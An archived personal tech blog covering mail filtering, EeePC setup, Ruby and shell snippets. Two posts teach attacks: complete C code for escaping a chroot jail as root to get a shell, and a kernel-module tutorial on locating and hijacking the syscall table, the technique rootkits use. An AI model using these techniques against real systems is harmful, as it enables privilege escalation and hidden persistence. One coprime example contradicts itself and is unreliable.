EXPLANATION Once upon a time I had a blog, which I updated regularly with scintillating articles about computery things. But now I have sort of given up the habit, so here is an archive of nearly everything I have written since 2007 including some stuff I thought I had lost. Please be aware nearly every link is broken. * * * ### Timezones in procmail I use [procmail][1] to manage my incoming email and [mutt][2] to read it. Unfortunately mutt doesn’t handle dates from different timezones very well, so I came up with this procmail recipe using [Ruby’s][3] `Time#parse` method to convert the `Date` header to the current timezone: DATE_=`formail -xDate: \ | expand | sed -e 's/^[ ]*//g' -e 's/[ ]*$//g'` :0 { :0 fwhi | formail -i"Date: `ruby -e "require 'time'; p (Time.parse '${DATE_}').rfc2822"`" } ### boxee I was recently invited to the [boxee][4] (Flash warning) alpha test. Currently the only free platform they support is [Ubuntu GNU/Linux][5], but they do offer unsupported source code download. Unfortunately attached to the download page was a license agreement which, among other things, prevented redistribution and modification of the code. Normally this isn’t really a big deal, I would just boycott the software, but boxee is based off [XBMC][6] which is licensed under the [GNU GPL][7] and so boxee is obliged to release their modifications under the same license. The license agreement on the site (and in the ./license/ directory in the source code) violated the GPL, and so is against the law. I [started a thread][8] on the subject and emailed boxee with my complaints, after a lengthy argument discussion on the forum I received a reply from boxee expressing their sincerest apologies on the matter and told me the error will be fixed in a matter of days. They then proceeded to make a public apology in my forum thread. I am mightily suprised and impressed with their response, and wish that other companies in the same situation would handle GPL violations in the same way. That wasn’t the end of the problems though, I have yet to be able to compile it on my x86 Gentoo box. I will be submitting a patch when I do. ### Top-posting Top posting is the bane of internet mailing lists, the horrors of which are made clear in this example: > A: Because it messes up the order in which people normally read text. > > Q: Why is top-posting such a bad thing? > > A: Top-posting. > > Q: What is the most annoying thing in e-mail? Luckily [GNU Emacs][9] provides tools to combat top-posting and other uglifications like badly wrapped lines in `uglify.el` packaged with the `gnus` email client. I made a `mutt.el` emacs-lisp file with this in it (thanks to [#emacs][10]): (defun deuglify () "Deuglify messages in batch mode" (with-current-buffer (get-buffer-create "*Article*") (condition-case nil (while t (insert (read-string "") "\n")) (error)) (gnus-outlook-deuglify-article t) (princ (buffer-string)) ) ) Which provides a function `(deuglify)` that will be invoked in Emacs’ batch mode, like so: /usr/bin/emacs --batch --load ~/.emacs.d/elisp/mutt.el --eval '(deuglify)' We can then use `procmail` which is used by a number of MTAs to create a recipe to pipe all of our messages through: :0fbhw | /usr/bin/emacs --batch --load ~/.emacs.d/elisp/mutt.el --eval '(deuglify)' This will pipe the message headers and body into Emacs and output a pretty email into your inbox you have defined. ### Get out of jail I recently switched my server to [NetBSD][11] for a number of reasons. Mainly it was the challenge of having a new system, and the brief experience I had with NetBSD was positive (except screen on x86_64 failed to detect my terminfo properly). Another deciding factor was the heightened security available on most BSD systems, Net‐ and OpenBSD in particular. An example of this is NetBSD’s ability to thwart a number of attack vectors for breaking out of `chroot` gaols. The most prominent of which still works on [Linux][12]. A `chroot` is a system call that traps a process in an environment with a “fake” root directory so it can only access part of the filesystem. This is often used when allowing untrusted users access to your system, which makes this method doubly scary. All that is needed for this to work is the ability to run a process as root inside the `chroot` (being `root` inside a `chroot` is the most common scenario) and the ability to create a directory (a given if you are `root` in the `chroot`) You can then use this little snippet of C code to break out of the gaol: #include #include #include #include #include int main() { int curdir = open(".",O_RDONLY); mkdir("the-way-out",1); chdir("the-way-out"); chroot("."); fchdir(curdir); chdir("../../../../../../../../../.."); chroot("."); system("/bin/sh"); return 0; } You can then compile this with `cc breakout.c -static -o breakout` and move it to your `chroot` through `scp` or whatever means you want. Run it, and you will be granted `root` on the machine without a `chroot`. #include #include #include #include #include This portion is just the necessary libraries for the functions. `fnctl.h` is for all the file control stuff. int main() { int curdir = open(".",O_RDONLY); mkdir("the-way-out",1); chdir("the-way-out"); chroot("."); This starts the main program function, creates a new directory and `chroot`s to it. You will now be `chroot`ed in `/initial/directory/the-way-out`. `curdir` is a file descriptor which is used later on. fchdir(curdir); chdir("../../../../../../../../../.."); This will `chdir` out of your second gaol and into your first one. It will then `chdir` you out of your initial `chroot` and put you (hopefully) in the real root directory. If you know where you gaol is on the real filesystem you can use the right number of `../` to get to `/`. The `curdir` file descriptor is used as `../` won’t work from a straight gaol, it has to be (partly) broken first. system("/bin/sh"); return 0; } This will launch the default shell `/bin/sh` and give you root access to the whole system. Congratulations, now go tell your administrator to switch to NetBSD before someone with malicious intent comes along. ### Prettifying URLs Whenever I am [writing][13] [web apps][14] I always find myself thinking that the filenames in URLs detract from the whole experience. Is there really any need for .html, or .php to be seen by the browser so long as the server knows what it needs to do? I am always writing the same bits of code to acheive the same goals, so I decided to make a little object-oriented library to do it for me. Get it here [fophillips.org/prettify.tar.bz2][15]. I will do a write-up explaining it some other time. ### New digs I now share a VM with [teenlug.com][16] on a wonderful [bytemark][17] server for a very reasonable price. I now have decent loading times of images. ### Searching for the perfect distro Since my previous post where I said I would be keeping the default Xandros installation on my EeePC I have installed Eeebuntu. I have been using it for about 2 days now, and after using [paludis][18] for a few months it is quite clear how catastrophically abysmal apt really is. I was trying to install darcs which managed to crash `apt-get` when it was “configuring” it. The same happened everytime I tried `dpkg --configure -a`, this meant I could not *uninstall* it until a successful `dpkg` configure. Which basically just broke it all completely. As of writing I am midway through installing Arch in hope it will fare better. I was a long time Arch user before switching full time to Gentoo (which I won't install on my Eee because of compile times). ### Theeeming The [default theme][19] for [IceWM][20] on the [EeePC][21] is an ugly Luna (Windows XP) clone. So I am mashing together the AsusBlue (for the taskbar) and [eiskristall][22] for window decorations. At the moment it looks like this: ![intermediate][23] Get the latest source from [my darcs repository][24] and put the directory in `/usr/share/icewm/themes` and change `/etc/X11/icewm/theme` to read: Theme="eeeiskristall/default.theme" ### The Eee has landed My EeePC has arrived today. And I can quite safely say it is the best thing I have ever bought. I was considering putting another distro on here (Gentoo), but now I have been using it all day I don't really think it needs anything else. I even found the “advanced” interface a bit lacklustre compared to the the “easy” environment. I think IceWM needs a nicer, less Windowsy theme, but other than that the looks and functionality is everything I need. I have my uber efficient desktop running Gentoo and [XMonad][25] for if I want to use that sort of thing. I bought this for basically lounging around on the sofa with and taking to and fro from school. *NB: Yes it is running Linux, but with the default Luna-like theme* pr0n: ![EeePC][26] ### Amarok in dzen I use this little script with [dzen][27] and [dmplex][28] to show the current song info in a little bar at the top of my right-hand screen. You need to make sure you have dcop up and running. #!/bin/zsh while true; do ARTIST=$(dcop amarok player artist) ALBUM=$(dcop amarok player album) TITLE=$(dcop amarok player title) SONG="${TITLE} - ${ARTIST} (${ALBUM})" CURTIME=$(dcop amarok player trackCurrentTime) (( CURMINS = $CURTIME / 60 )) (( CURSECS = $CURTIME % 60 )) TOTTIME=$(dcop amarok player trackTotalTime) (( TOTMINS = $TOTTIME / 60 )) (( TOTSECS = $TOTTIME % 60 )) MEDIA="${SONG} [$(printf '%02d:%02d/%02d:%02d' $CURMINS $CURSECS $TOTMINS $TOTSECS)]" echo "2 ${MEDIA}" sleep 1s done ### EeePC I just ordered myself an EeePC 4G 701 (not Surf) which should arrive tomorrow. I will be installing Gentoo with the filesystem extended over the internal SSD and an external SD card with lvm2 for 6GBs of encrypted goodness. Stay tuned. ### Interesting Things Things that have piqued my interest as of late: ## Exherbo “Gentoo done right”. [Exherbo][29] is an upcoming distritrbution based on some of the ideas of Gentoo to create a more focused distribution honed to the needs of the small development team. According to [the site][29] these are the main problems with Gentoo as it stands. * Portage. The code can't deliver the changes we need in the timeframe we need. Portage haven't delivered many features needed by Gentoo; for what we're trying, it's completely out of the question. * Management -- We see the need for management which will make necessary decisions within an acceptable timeframe and provide and ensure that there is direction. * QA. We would rather have a small number of developers working carefully on a few things, and fixing each other's mistakes, than working prolifically on a great many things without such attention to detail. * The users. Many other distributions attach a lot of importance to the community, to the detriment of the distribution's technical needs. We'd prefer to focus on meeting both our own needs as developers, and the needs of the real users -- a solid community follows on from a solid product. * The developers. A developer base polarised between those who make thousands of changes every month and those who make perhaps a dozen each year does not make it easy to push forwards the sort of improvements we want. * Lack of overall design and direction. This problem is widely recognised by Gentoo but at the same time enforced by policies allowing everybody to start their own subprojects without disussing it first. The idea is that volunteer work shouldn't be prevented but rather encouraged. We'd rather focus on a few clear goals and provide solid solutions in those areas rather than trying to do everything at once. Despite practically begging people not to use it I will definitely be setting it up in [UML][30] soon and start experimenting. ## Mobile Computing I’ve been looking for something to replace my broken (beyond reasonably priced repair) VAIO ultra-(super-dee-dooper-)mobile PC. I did have my eye on an EeePC, and it is still a viable option. But I really can’t choose which model. I did have my heart set on a 701, but then the 900 trundled along with it’s big screen and bigger storage, even if it is £100 more. Then I started looking at the Eee “alternatives”, things like the [HP MiniNote][31] which is certainly a lot sexier than the Eee and not much more than the 900 (even if it is a little close to the $400 mark). Then I got looking at PDAs, and I just bid on a Zaurus SL-5000D on eBay, which may lead to me either helping develop [Ångström][32] to work, or just using OpenZaurus. It is exceedingly cheap (≤£35 inc. p&p if I win), which means I will probably end up pining for a proper laptop with my left over money. Suggestions are more than welcome. I’m not looking for some desktop replacement thing, just something I can easily carry around in an already full backpack. ## Car I am learning to drive, at last, and I need to get myself a motor. I think I have set my heart on an MG Midget (pre 1500 (chrome bumpers ftw)). I have about a grand to spend, and I *might* be able to convince my parents to go halves on one. Wish me luck. ## Haskell I wouldn’t really call this a “recent” interest, I have been dabbling in Haskell ever since I discovered [XMonad][33]. I have myself a book (The Haskell Road to Mathematics, Logic, and Programming) which is excellent. I have been steaming through [Euler][34] with it at my fingertips. It is certainly my favourite language to date. I have also began to become more confident in Lisp, but more on that another time. ### Fixing PNG problems in FF3 I have been having some trouble with the latest Firefox 3 beta, in that some PNG images weren’t displaying properly. Sometimes they didn’t display at all, or [went completely mad][35]. This has been [confirmed][36] with various X.org configurations and drivers. To fix it, you need to add this to your **xorg.conf**: Section "Device" # ... Your existing configuration Option "XAANoOffscreenPixmaps" End Section Then restart X.org and it should all be working fine. ### HTML and Procmail Now I have permanently switced to Mutt as my MTA (Mail Transfer Agent), embedded HTML in emails has started to become a hindrance. So I devised a simple procmail recipe to pipe all my HTML messages to text-only [links2][37] so all the useless formatting and images are removed, yet the messages are still readable (if not more so). :0: * ^Content-Type.*text/html { file = "/tmp/msg.dump" :0 fbw | cat > $file && links -dump $file } ### Not for me As you have may have noticed I haven’t posted in over two months. It’s not that I have had nothing to write about, it’s just I have nothing which I deem to be blog‐worthy. I think it’s mostly because I seem to write lengthy, in‐depth articles and the idea of a few lines saying “I […] ### irssi log search Any acquaintances of x_rob may know about his IRC log searching script. It basically searches ~/irclogs/freenode/#channel.log for a string by a specified user. It is apparently written in Ruby. But when asked he refused to show me the source, like the freedom hater he is. So I decided to make my own, using […] ### Engadget Comparison (Mended) After reading an article on Engadget comparing OS X 10.5 and Windows Vista, I decided it would be interesting to compare GNU/Linux with them both. I didn’t choose any distribution in particular, just chose software readily available through most package managers. #comparechart { border: 2px solid #333; border-collapse: collapse; } #comparechart td { padding: 3px; border: […] ### Strip Track and Disc Number From File NamesSeptember 29th, 2007 Just run this inside the directory where you have filenames that resemble: `01-5 Wish You Were Here.ogg`. It renames them to: `Wish You Were Here.ogg` `ls | sed -e 's/[0-9][0-9]\s*[\-]*\s*[0-9]*\s//' -e 's/\ /\\\ /g' -e "s/'/\\\\'/" -e "s/.*/mv \*& &/" | sh` Posted in [zsh][38], [linux][39], [programming][40], [music][41] **|** [1 Comment »][42] * * * ### Coprimes and Tail RecursionSeptember 23rd, 2007 If you have two integers, say a and b, they are “coprime” or “relatively prime” if they share no common factor other than ±1, or the greatest common divisor is 1. It is the latter that we will be using later on. An example of coprimes are 934822854 and 7. As: ![][43] they are not coprime, as they divide into a whole number. But, 934822854 and 13 are coprime, as they divide to make 71909450.3. Around 330BC in “Euclid’s Elements” an algorithm was shown, aptly named “The Euclidean Algorithm”. It is used to calculate the greatest common divisor (GCD) of two integers. It is particularly useful, as it does not require factoring of the two numbers. It works like this: 1. Take two natural numbers, *a *and *b*, not both equal to nought. 2. Check if either numbers are equal to nough, if *b *is equal to nought then *a* is the GCD. 3. Repeat the process using, respectively, *b*, and the remainder after dividing *a* by *b* **Note: The remainder after dividing *a* by *b* is usually written as *“a* mod *b*”.** This can be easily expressed in pseudocode using recursion: `function gcd(int a, int b) if b = 0 return a else return gcd(b, a mod b)` This uses what is known as “tail recursion” which is a special type of recursion where the last operation of a function is a recursive call, in this case it calls the same function again. Some programming languages, such as Ruby, do not implement tail recursion optimisation which leads to an overly large call stack. The above function in Ruby would look like this: `def gcd(a, b) if b == 0 return a else return gcd(b, a % b) end end` Assume we call `gcd(98,5)` the stack will at some point look like this: > gcd(98,5) > gcd(5,3) > gcd(3,2) > gcd(2,1) The method calls itself a number of times, and each invocation is pushed on the stack. The callers stay on the stack, each waiting for the return of the method it called. This is standard method invocation, and happens every time a method calls another. The calls further down the stack are waiting for the calls above to complete before continuing whatever they were doing. But in some cases there is no point for a method to hang around. The gcd method is such a case: After it has called itself, there is nothing more for it to do, except to wait for the return value and pass it on unchanged. This is called tail recursion. If Ruby did optimise for this it can determine that the return value of the method is the same as the return value of the next method call, it can in effect skip the recursive calls and recompile the entire method into a for loop, which is faster and does not run into stack size limitations no matter how many recursive calls there are. A way to get around this in this particular scenario is to use a slightly different form the Euclidean Algorithm which doesn’t use tail recursion: `function gcd(int a, int b) while b ≠ 0 t := b b := a mod b a := t return a ` Or in Ruby: `def gcd(a, b) while b != 0 t = b b = a % b a = t end return a end ` Posted in [ruby][44], [linux][39], [programming][40] **|** [No Comments »][45] * * * ### x_rob, VB SympathiserSeptember 21st, 2007 17:50:10 < [x_rob][46]> VB > * Posted in [linux][39], [programming][40] **|** [1 Comment »][47] * * * ### Command Line ScreenshotSeptember 13th, 2007 This depends on `xwd` (X Window Dump), and `netpbm`. Add this to your .zshrc, .bashrc or similar (if in doubt it will probably be .bashrc): `function screenshot() { xwd | xwdtopnm | pnmtopng > $1 }` And then run `source ~/.zshrc` replacing `.zshrc` for whichever you are using. Then run `screenshot screenshot.png` and click on the window you want to take a screenshot of, or click on the desktop to take a full screen image. **EDIT:** Yes, I know about ImageMagick’s import, but I have no need for anything in ImageMagick but screenshot taking on my laptop. Posted in [zsh][38], [linux][39] **|** [1 Comment »][48] * * * ### A Terrible ProblemSeptember 2nd, 2007 `# mount /dev/sda9 /mnt/hlfs # mount -o bind /home /mnt/lfs/home [...] # rm -rf /mnt/lfs ` I think you can guess what happened… As a result, all my web server stuff is gone, it was stored in /home/httpd, and so everything on local.fophillips.org is gone, and thus no downloads of code examples in this blog. I need to finish building my backup server… Posted in [backup][49], [linux][39] **|** [No Comments »][50] * * * ### Splitting Strings At Unescaped CharactersAugust 18th, 2007 Ever needed to split a string into separate parts at a certain character? I’m sure you have. But what about when you need to split at a common character like a comma or a colon? Then these characters have to be escaped, usually with a backslash, which looks something like this: `some\,text`. The problem we’re faced with is if we use a built in function like Ruby’s `split()` it will split at all the commas, including the escaped ones. Say we had a series of CSV-like values that read `Hello\, World!,Goodbye\, World!`. If we run that through Ruby’s `split()` function we get this: `'Hello\, World!,Goodbye\, World!'.split(',') => ["Hello\\", " World!", "Goodbye\\", " World!"]` As you can see, it splits at *all* the commas, which we don’t want. Which is why I came up with a function to split at unescaped characters, which I will guide you through. **Note, clearer notation and indentation is available in the downloads below** First of all we define the function, and some variables. ` class String def split_esc(char,esc = "\\") # set the default esc char to backslash string = self res = [] indexes = [] n = 0 ret = String.new ` We now have to locate the instances of the character we want to split the string at, defined by the `char` variable, and store their indexes in an array of values. ` string.each_char do |str,y| if str == char indexes.push(y) end end ` We also have to append the length of the string to the end of the `indexes` array to act as a buffer to show where to stop parsing. And store an array of the characters in the string using [my own to_a function][51]. `indexes.push(string.length) ret = string.to_a` We then need to loop through `indexes` and check whether or not they are preceded by `esc`, the escape character. ` indexes.each do |index| if ret[index-1] != esc ` Now we get to the most complex section. We need to extract a string from our starting string, starting at `n` (Note, `n = 0` at first) and ending at an unescaped instance of `char`. To do that we do: `res.push(string[n..index-1]) n = index+1` Where `index` is defined in the section beforehand. All that’s left now is to return an array of the result, and close off our function. ` end end return res end end` Now using this we can test our example from before: `'Hello\, World!,Goodbye\, World!'.split_esc(',') => ["Hello\\, World!", "Goodbye\\, World!"]` As we can see it splits in the correct place. #### Code [split_esc.rb][52] #### Downloads [fophillips-blog-examples-2007-08-18(2).tar.bz2][53] [fophillips-blog-examples-2007-08-18(2).tar.gz ][53] Posted in [ruby][44], [linux][39], [programming][40] **|** [No Comments »][54] * * * ### Extending RubyAugust 18th, 2007 Sometimes in Ruby I find myself missing some functions available in other languages, or the existing functions don’t have the output I expect. So, I compiled some extensions for the `Array`, `Hash`, and `String` classes in Ruby. Included are functions like `count` for arrays and hashes, and `count_char` for strings. #### Code [install.rb][55] [Array.rb][56] [Hash.rb][57] [String.rb][58] #### Downloads [fophillips-blog-examples-2007-08-18.tar.bz2 ][59] [fophillips-blog-examples-2007-08-18.tar.gz][60] Posted in [ruby][44], [linux][39], [programming][40] **|** [No Comments »][61] * * * ### Exploiting the Linux KernelAugust 15th, 2007 ### Introduction In Linux you run processes in two different modes of execution. There is userspace (aka user mode) which you run your everyday applications, like Firefox, Pidgin, irssi. From the kernel’s point of view, this is unprivileged mode, meaning user space applications don’t have access to hardware, or bits of the system critical to its function. The next mode is kernelspace, in this mode a process runs in privileged mode, giving it access to hardware and low-level system processes. On x86 there are four modes of execution called ‘rings’, Linux uses only two of these rings: ring 0 for kernelspace, and ring 3 for userspace. **Note: Do not confuse ‘privileges’ with those of the Linux system (e.g., root), they are two completely separate concepts.** To write a program that runs in kernel space you need to write what is known as a kernel module. A kernel module is a piece of code that is loaded and unloaded into the kernel on demand. They add functionality to the kernel without needing to restart the whole system. Without them a kernel would be known as ‘monolithic’ meaning all functionality must be directly written in the kernel image. You can see what modules are already loaded into your kernel by running `lsmod`. You can load modules using the programs provided by the mod-utils package. `insmod` is used for loading *.ko files which will be the product of our examples. **Note: It is recommended that you do not use X to load these modules. Kernel modules cannot print to stdout using `printf` etc. When loading the modules do so from a console to see `printk` output** ### Hello, World! `#include /* Needed by all modules */ #include /* Needed for KERN_ALERT */ #include /* Needed for the macros */` ` char *hello = "Hello, World!"; char *goodbye = "Goodbye!";` ` static int kmodule_init(void) { printk(KERN_ALERT "%s\n",hello); return 0; }` ` static void kmodule_exit(void) { printk(KERN_ALERT "%s\n",goodbye); }` ` /* run functions */ module_init(kmodule_init); module_exit(kmodule_exit);` Kernel modules must have at least two functions, the init function and the exit function. In this example they are called kmodule\_init and kmodule\_exit respectively, these can be called whatever you like. They are called by the functions module\_init and module\_exit, these names must remain the same. #### WTF is printk? Unlike `printf()`, `printk()` is not designed to communicate with the user, instead it is a logging system for the kernel. You can see this if you type `dmesg | tail -n 2` into a console. What should appear is: > Hello, World! > Goodbye! The bit of `printk()` in our example that says KERN_ALERT defines its priority. The kernel comes with 8 priorities which can be seen in `linux/kernel.h`. Our use of KERN_ALERT makes sure the messages are printed to the console, not just appended to `/var/log/messages` ### Compiling kernel modules The easiest way to properly compile kernel modules is to use `make`. So, in the same directory as your code is in create a Makefile with this as its only line: `obj-m += hello_world.o` Change the name of the file to match what you called your code file, make sure you use the `.o` file extension and **not** `.c`. Now you can run the command `` make -C /usr/src/linux-`uname -r` SUBDIRS=$PWD modules`` to compile the necessary files. Next run (as root, on a console) `insmod hello_world.ko`. If all goes well, you will see “Hello, World!” printed on your screen. Congratulations, you just successfully created your first kernel module! Now unload your module with `rmmod hello_world`. #### Now the good stuff… When programming in userspace and you need to make a request to the kernel you use a syscall. These are like basic userspace functions like `read()`, `write()`, and `mkdir()`. In kernel space there are the corresponding functions `sys_read()`, `sys_write()`, and `sys_mkdir()`. These are known as syscalls. These are implemented into the kernel. When `mkdir()` is used it “calls” the appropriate function, in this case `sys_mkdir()` The `mkdir` function in a shell uses the `mkdir()` function. To do this the command must know where `sys_mkdir()` is located in the memory. It does this using the `sys_call_table[]` which holds pointers to all the system calls: `user types: mkdir code -> function: mkdir() -> sys_call_table[] -> system call: sys_mkdir() -> file system ` Absolutely all kernel based rootkits use the same technique. It changes the pointer value in `sys_call_table[]` to point to its own function. This was quite simple in kernels previous to 2.6, you could just put this line into your code: `extern void *sys_call_table[];` and include `sys/syscall.h`. But since the advent of 2.6 `sys_call_table[]` is no longer exported, so some Mad Hacking ™ is required. To find it we need to look for `int 0x80` because when a syscall is issued the application is interrupted and control is given to the kernel. This is done with the instruction `int 0x80`. When the instruction int 0×80 is reached the kernel executes a special function: `_system_call()`. To find `int 0x80` we need to look in the interrupt descriptor table. We do that with this bit of code: ` struct { unsigned short limit; unsigned int base; } __attribute__ ((packed)) idtr;` ` /* ask the processor for the idt address and store it in idtr */ asm ("sidt %0" : "=m" (idtr));` `` The address of the idt is held in a special register (idtr) there is an assembly function that can be used to obtain that address. Next we need to find `int 0x80` and hence find the `system_call` function. `struct { unsigned short off1; unsigned short sel; unsigned char none,flags; unsigned short off2; } __attribute__ ((packed)) idt;` `unsigned sys_call_off;` ` /* read in IDT for int 0x80 (syscall) */ memcpy(&idt, idtr.base+8*0x80,sizeof(idt)); sys_call_off = (idt.off2 << 16) | idt.off1;` Each entry in the idt is 8 bytes (hence the `base+8*0x80`) and the magic shifting of bits to reconstruct the location of system_call() used below. Now the most complex bit, we need to look at the `system_call` function in detail. > % gdb -q /usr/src/linux/vmlinux > (no debugging symbols found)…(gdb) disass system_call > Dump of assembler code for function system_call: > 0xc0106bc8 : push %eax > 0xc0106bc9 : cld > 0xc0106bca : push %es > 0xc0106bcb : push %ds > 0xc0106bcc : push %eax > 0xc0106bcd : push %ebp > 0xc0106bce : push %edi > 0xc0106bcf : push %esi > 0xc0106bd0 : push %edx > 0xc0106bd1 : push %ecx > 0xc0106bd2 : push %ebx > 0xc0106bd3 : mov $0×18,%edx > 0xc0106bd8 : mov %edx,%ds > 0xc0106bda : mov %edx,%es > 0xc0106bdc : mov $0xffffe000,%ebx > 0xc0106be1 : and %esp,%ebx > 0xc0106be3 : cmp $0×100,%eax > 0xc0106be8 : jae 0xc0106c75 > 0xc0106bee : testb $0×2,0×18(%ebx) > 0xc0106bf2 : jne 0xc0106c48 > 0xc0106bf4 : call *0xc01e0f18(,%eax,4) `<-- that's it` > 0xc0106bfb : mov %eax,0×18(%esp,1) > 0xc0106bff : nop > End of assembler dump. > (gdb) print &sys\_call\_table > $1 = ( *) 0xc01e0f18 `<-- see ? it's same` > (gdb) x/xw (system_call+44) > 0xc0106bf4 : 0×188514ff `<-- opcode (little endian)` > (gdb) What we see from the above output is the actual call to a specific syscall. The line marked `<-- that's it` shows that call `
(,%eax,4)` where matches that of the `sys_call_table` (seen a few lines later). To find the address of the `sys_call_table` we’ll start at the `system_call()` function and inspect memory until we find something that looks like `call
(,%eax,4)` and assume that `
` is the sys\_call\_table. The opcode for call is shown at the end of the above output. Thus, our code becomes: `char *p; unsigned sys_call_table; `` p = (char*)memmem (sc_asm,CALLOFF,"\xff\x14\x85",3); sys_call_table = *(unsigned*)(p+3);` And there you have it, a successful exportation of the `sys_call_table`. A clearer example is in the attached tarball. What do we do with it, you might ask. To hijack some syscalls we need the appropriate header files, so we know the correct syscall numbers. That file is `linux/unistd.h`, it includes the definitions for syscall numbers with the naming convention: `__NR_name`. In this example we are changing the `sys_open` call. To do that we use this snippet: ` asmlinkage int (*original_sys_open)(const char *, int, int); `` asmlinkage int new_sys_open(const char *filename, int flags, int mode) { int ret; printk(KERN_ALERT "CALLING SYSOPEN!\n");` ` /* let the real sys_open do the rest */ ret = (*original_sys_open)(filename, flags, mode); return ret; } ` ` [...] `` original_sys_open = sct[__NR_open]; printk(KERN_ALERT "Syscall table @ 0x%x\n", sct); printk(KERN_ALERT "ORIG: 0x%x \n", original_sys_open); printk(KERN_ALERT "addr of __NR_open: 0x%x \n", &sct[__NR_open]); sct[__NR_open] = new_sys_open; /* redefine with our own call */ printk(KERN_ALERT "DONE\n"); ` In the above example we simply patch the sys_open call to print a small message whenever it’s used and then passes execution on to the original `sys_open`. There are also some more creative uses for this, like logging a user’s actions by hijacking `sys_read`, or hiding files from being shown when a user runs `ls` That just about wraps it up, attached below are the full examples with working Makefiles etc. #### Code [Makefile][62] [hello_world.c][63] [sys\_open\_hijack.c][64] #### Downloads [fophillips-blog-examples-2007-08-15.tar.bz2 ][65] [fophillips-blog-examples-2007-08-15.tar.gz ][66] Posted in [C][67], [hacking][68], [linux][39], [programming][40] **|** [1 Comment »][69] * * * ### So, A Blog Eh? April 24th, 2007 After starting my [overwhelmingly successful blog][70] on Windows Vista I noticed I had *another* blog, which I had never posted in. Which as it happens, is this one. Everyone seems to have a blog nowadays. At first I was adamant I’d never, ever have an online weblog. But it looks like I’ve caved. Now, most of the stuff in this blog is going to be boring nerdy things, like whatever programming problem I’m working on, or telling the world I just upgraded my kernel. Posted in [introduction][71] **|** [No Comments »][72] * * * [1]: http://www.procmail.org/ [2]: http://mutt.org/ [3]: http://ruby-lang.org [4]: http://boxee.tv [5]: http://ubuntu.com [6]: http://xbmc.org [7]: http://www.gnu.org/licenses/licenses.html#GPL [8]: http://forum.boxee.tv/showthread.php?t=382 [9]: http://gnu.org/software/emacs [10]: irc://chat.freenode.net/#emacs [11]: http://netbsd.org [12]: http://kernel.org [13]: http://darcs.fophillips.org/web/darcsweb.cgi?r=tlcms2;a=summary [14]: http://janettephillips.com [15]: http://fophillips.org/prettify.tar.bz2 [16]: http://teenlug.com [17]: http://bytemark.co.uk [18]: http://paludis.pioto.org [19]: http://farm3.static.flickr.com/2411/2266206228_7de7066af9.jpg [20]: http://www.icewm.org/ [21]: http://eeepc.asus.com/global/ [22]: http://themes.freshmeat.net/projects/eiskristall/?branch_id=73537&release_id=277660 [23]: /img/theeeme/1.png [24]: http://darcs.fophillips.org/web/darcsweb.cgi?r=eeeiskristall;a=summary [25]: http://xmonad.org [26]: /img/eee.png [27]: http://dzen.geekmode.org [28]: http://dzen.geekmode.org/dwiki/doku.php?id=dzen:multiplexer [29]: http://exherbo.org/ [30]: http://user-mode-linux.sourceforge.net/ [31]: http://www.notebookreview.com/default.asp?newsID=4352 [32]: http://www.angstrom-distribution.org/ [33]: http://xmonad.org/ [34]: http://projecteuler.net [35]: http://teenlug.com/gallery/images/2008-04-14-200556_1440x900_scrot.png [36]: https://bugzilla.mozilla.org/show_bug.cgi?id=411831 [37]: http://links.twibright.com/ [38]: http://fophillips.org/?cat=21 "View all posts in zsh" [39]: http://fophillips.org/?cat=7 "View all posts in linux" [40]: http://fophillips.org/?cat=4 "View all posts in programming" [41]: http://fophillips.org/?cat=3 "View all posts in music" [42]: http://fophillips.org/?p=23#comments "Comment on Strip Track and Disc Number From File Names" [43]: http://local.fophillips.org/blog/coprime_1.png [44]: http://fophillips.org/?cat=9 "View all posts in ruby" [45]: http://fophillips.org/?p=21#respond "Comment on Coprimes and Tail Recursion" [46]: http://xrob.wordpress.com/ [47]: http://fophillips.org/?p=20#comments "Comment on x_rob, VB Sympathiser" [48]: http://fophillips.org/?p=19#comments "Comment on Command Line Screenshot" [49]: http://fophillips.org/?cat=10 "View all posts in backup" [50]: http://fophillips.org/?p=18#respond "Comment on A Terrible Problem" [51]: http://fophillips.org/?p=17 [52]: http://local.fophillips.org/CodeViewer/blog/Splitting-Strings-At-Unescaped-Characters/split_esc.rb [53]: http://local.fophillips.org/blog-code/fophillips-blog-examples-2007-08-18(2).tar.bz2 [54]: http://fophillips.org/?p=16#respond "Comment on Splitting Strings At Unescaped Characters" [55]: http://local.fophillips.org/CodeViewer/blog/Extending-Ruby/install.rb [56]: http://local.fophillips.org/CodeViewer/blog/Extending-Ruby/Array.rb [57]: http://local.fophillips.org/CodeViewer/blog/Extending-Ruby/Hash.rb [58]: http://local.fophillips.org/CodeViewer/blog/Extending-Ruby/String.rb [59]: http://local.fophillips.org/blog-code/fophillips-blog-examples-2007-08-18.tar.bz2 [60]: http://local.fophillips.org/blog-code/fophillips-blog-examples-2007-08-18.tar.gz [61]: http://fophillips.org/?p=17#respond "Comment on Extending Ruby" [62]: http://localhost/CodeViewer/code/blog/Exploiting-The-Linux-Kernel/Makefile [63]: http://localhost/CodeViewer/blog/Exploiting-The-Linux-Kernel/hello_world.c [64]: http://localhost/CodeViewer/blog/Exploiting-The-Linux-Kernel/sys_open_hijack.c [65]: http://http://local.fophillips.org/blog-code/fophillips-blog-examples-2007-08-15.tar.bz2 "Exploiting the Linux Kernel" [66]: http://local.fophillips.org/blog-code/fophillips-blog-examples-2007-08-15.tar.gz "Exploiting the Linux Kernel" [67]: http://fophillips.org/?cat=20 "View all posts in C" [68]: http://fophillips.org/?cat=19 "View all posts in hacking" [69]: http://fophillips.org/?p=15#comments "Comment on Exploiting the Linux Kernel" [70]: http://vista430.wordpress.com [71]: http://fophillips.org/?cat=8 "View all posts in introduction" [72]: http://fophillips.org/?p=6#respond "Comment on So, A Blog Eh?"